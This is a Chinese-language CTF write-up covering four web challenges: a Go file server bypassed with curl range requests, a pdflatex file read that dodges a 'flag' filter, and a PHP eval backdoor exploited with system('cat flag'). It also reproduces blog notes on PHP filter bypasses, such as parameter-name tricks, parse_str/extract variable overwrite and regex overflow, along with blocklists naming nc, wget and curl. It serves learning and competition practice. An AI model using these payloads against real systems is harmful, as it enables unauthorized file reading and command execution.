赛后总结
这次的选拔赛,总的来说依托答辩。也是看到了很多问题,还有见识到了大赛赛题的真正难度。目前看来还有不小的距离,仍需努力啊。
gallery
说是web,感觉更像是一道类misc的web题
首先是进入题目页面,发现了一个选项框,随便点一个试试
这时候注意到html框里面出现了 ?file_extension=gif 的字样,猜测可以注入,尝试注入 ?fie_extension=1 成功爆出flag文件。
很激动,点进去试试,发现被骗了,一堆问号
这时候,开始查看源代码,寻找代码逻辑
package main
import (
"bytes"
"net/http"
"github.com/gorilla/mux"
)
const (
PORT = "8080"
DIR = "static"
)
type MyResponseWriter struct {
http.ResponseWriter
lengthLimit int
}
func (w *MyResponseWriter) Header() http.Header {
return w.ResponseWriter.Header().Clone()
}
func (w *MyResponseWriter) Write(data []byte) (int, error) {
filledVal := []byte("?")
length := len(data)
if length > w.lengthLimit {
w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
return length, nil
}
w.ResponseWriter.Write(data[:length])
return length, nil
}
func middleware() func(http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
}
func main() {
r := mux.NewRouter()
r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR))))
r.HandleFunc("/", IndexHandler)
http.ListenAndServe(":"+PORT, middleware()(r))
}
ok,go语言,简直就是一坨中的一坨,但是认真审计之后,发现问题所在,有一个文件大小限制,限制了文件的大小,导致flag文件无法正常显示。
func middleware() func(http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
}
限制的大小有 10240bit ,但是我们的flag文件通过抓包可以看到有一万六千多bit,一旦超过了们就会执行以下方法
type MyResponseWriter struct {
http.ResponseWriter
lengthLimit int
}
把文件里的内容编程一堆问号
于是我想啊想啊想,终于在浩林的提示下发现了一个函数,range()函数,在了解这个函数的同事还知道了一个东西叫做文件分片下载。
这个时候就可以来到我们愉快的爆flag时间了
在kali中使用指令 curl –range 0-10000 文件名 url
curl –range 10001- 文件名 url
第二个文件不知道剩下多少的时候,后面直接省略就行,会自动补全的
最后 cat 文件1 文件2>文件3
最后得到flag
util
这道题目就是纯ping题,没什么好说的,唯一一个让我卡住的点就是,要抓包才能显示,这一点值得注意,以后要是还遇到ping不出来的题目,我直接抓包
textex
这道题目是一个 pdflatex 的题目,也是依托,因为我第一次遇到这种题目,感觉无从下手
这道题目就是利用tex指令去读取任意文件
目前踩到的坑有,没有写上下两个开始和结束的代码,还有就是看了wp发现用了一些看不懂的,奇奇怪怪的指令。
具体代码如下
\documentclass{article}
\usepackage{verbatim}
\newcommand{\f}{f}
\begin{document}
This is a sample.
\verbatiminput{{\f}lag}
\end{document}
除去两个必要的头尾,中间一大段基本上都是看不懂的,回过神来,我们来复盘一下这个代码的思路
首先是进行代码审计
import io
import os
import random
import shutil
import string
import subprocess
from flask import Flask, request, send_file, render_template
app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024
@app.route("/")
def top():
return render_template("index.html")
def tex2pdf(tex_code) -> str:
# Generate random file name.
filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
# Create a working directory.
os.makedirs(f"tex_box/{filename}", exist_ok=True)
# .tex -> .pdf
try:
# No flag !!!!
if "flag" in tex_code.lower():
tex_code = ""
# Write tex code to file.
with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
f.write(tex_code)
# Create pdf from tex.
subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
except:
pass
if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
# OMG error ;(
shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
return f"{filename}"
@app.route("/pdf", methods=["POST"])
def pdf():
# tex to pdf.
filename = tex2pdf(request.form.get("tex_code"))
# Here's your pdf.
with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f:
pdf = io.BytesIO(f.read())
shutil.rmtree(f"tex_box/{filename}/")
return send_file(pdf, mimetype="application/pdf")
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=4444)
在源代码文件中,我们可以发现这段代码
if "flag" in tex_code.lower():
tex_code = ""
这说明,flag 被过滤了
所以他用了一个指令
\newcommand{\f}{f}
这段指令跟 \def 有点像,同样都是创建一个文件,然后写出文件里的内容,去间接的拼凑出flag文件指令
\verbatiminput{{\f}lag}
这句指令就是能按原样打印外部文件,跟 \input 的作用类似,但是很奇怪的是,用\input无法打开文件,会一直报错,所以才要一个命令来平替。
【签到】backdoor
看了要流泪的题目,这题没做出来真的是吃了大奋,脑子被翔给堵住了,哎哦,给我难过了好久
进入题目首先就是一个注入标志,于是我就想着各种注入,但是一直报错。
我卡住的地方就在于因为一直找不到源文件,真的很烦啊,给我烦死了,找了半天没找到
题目说有后门,我于是一直围绕后门去写命令,导致我浪费了大量的时间,最后我去抓包,发现这个用的是 php5.5,存在php伪协议注入,于是至此,我才堪堪找到源代码。
Have something?
<?php
error_reporting(0);
if (isset($_GET['T_K.K'])) {
eval($_GET['T_K.K']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
找到代码后,总共就这么几行代码,控了我几个小时,我真的是个脑瘫。
题目要 T_K.K ,还要 file 两个参数,于是我开始构造,因为有个file,所以我一直卡着不知道要输入什么,后面发现,随便输一个都可以,只要不是黑名单上的,我靠,我也是服了自己的脑子。
最后的payload:
?file=1&T[K.K=system('cat flag');
怎么错的呢,嗯,致命错误,system()后面不加分号是吧,老弟,包炸的。
不过也是学到了个新的知识点,就是在php如果变量或者传参有_的时候,用【替换,可以保留之后的内容,可是,为什么要这么做呢,如果是下划线的话,我不修改他显现不出来的原因又是什么?
这里直接copy一下hz的博客
来自hz的博客:
trim()
这个函数可以过滤掉一些特殊符号,但是换页符\f
不过滤。这个方法对is_numeric也有效
带 . 的变量名
php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
先看看下面这个变量的传入
isset($_POST['CTF_SHOW.COM'])
这个变量如果按正常逻辑,应该传入CTF_SHOW.COM=1
,但根据这个特性,就只能传入CTF[SHOW.COM=
自己构建传值方法
先看代码
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\|\/|~|`|!|\@|#|\%|\^|*|-|+|=|{|}|\"|\'|\,|.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
这里介绍一种很特别的方法
highlight_file熟悉吧?但是这里没法传入flag,怎么办?看下面的payload就知道了
GET:?shell=flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])
$_SERVER
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。更多信息可以参考这里
上面那道题的代码可以通过下面payload绕过。
意思就是通过$_SERVER[‘argv’]将$a变成数组,利用数组这个“障眼法”,在eval处执行parse_str将fl0g=flag_give_me变成一条命令(变量),同时还绕过第一个if中的!isset($_GET[‘fl0g’])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
或者
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
$_SERVER[‘QUERY_STRING’]
‘QUERY_STRING’ 这一参数的作用是接收所有get数据。更多类似参数可以看这里
_()
_()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()
get_defined_vars 函数返回由所有已定义变量所组成的数组 这样可以获得 $flag
stripos()
这个函数存在路径穿越漏洞,可以使用../..
返回上级目录
正则表达式溢出
在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
例如,在preg_replace函数的匹配规则种,被匹配的参数只要够大(25万个very就行),就能让这个函数强行输出false
变量覆盖绕过
先来看这段代码
if($F = @$_GET['F']){<br> if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){<br> eval(substr($F,0,6));<br> }else{<br> die("6个字母都还不够呀?!");<br> }<br>}
很明显是要我们读取flag.php的内容,但是F被substr过滤处理,所以需要一点特殊的方法来绕过
这里就直接放payload,可以使sleep被执行(这里的sleep是shell的sleep,不是php)
为什么这句payload可以被执行呢?首先,substr把
给读了出来,现在,eval的内容就变成了
这一步,网上的答案容易有一个误区,就是没说清楚这里的$F到底是放到shell里用来申请shell变量的,还是在php里的$F。正确答案应该是后者,因此,就可以再把这个$F替换成
所以最后eval执行的内容就会是上面这个东西,也就会执行sleep了。但是为了拿到flag,单用cat是不行的,因为不会回显,因此需要使用类似dnslog的平台进行接收
当然,假设现在过滤代码升级成了这样
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}
也还是有方法绕过,有两种方法,一种是接着用curl,那么就需要勇道指令符号化绕过的知识,详情可以参考这里,最后的payload长这样
第二种方法,则是利用ping和awk的组合
通过ping命令去带出数据,然后awk NR一排一排的获得数据
变量覆盖
同样先看代码
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {<br> die("nonononono");<br>}<br>@parse_str($_SERVER['QUERY_STRING']);<br>extract($_POST);<br>if($key1 == '36d' && $key2 == '36d') {<br> die(file_get_contents('flag.php'));<br>}
parse_str是对get请求进行的内容解析成变量。例如传递?a=1
,执行后就是$a=1
。
那么相对的,传递_POST
,就是对$_POST
进行赋值,正好就可以绕过if条件对post的限制。
extract() 函数从数组中将变量导入到当前的符号表
所以最后payload为?_POST[key1]=36d&_POST[key2]=36d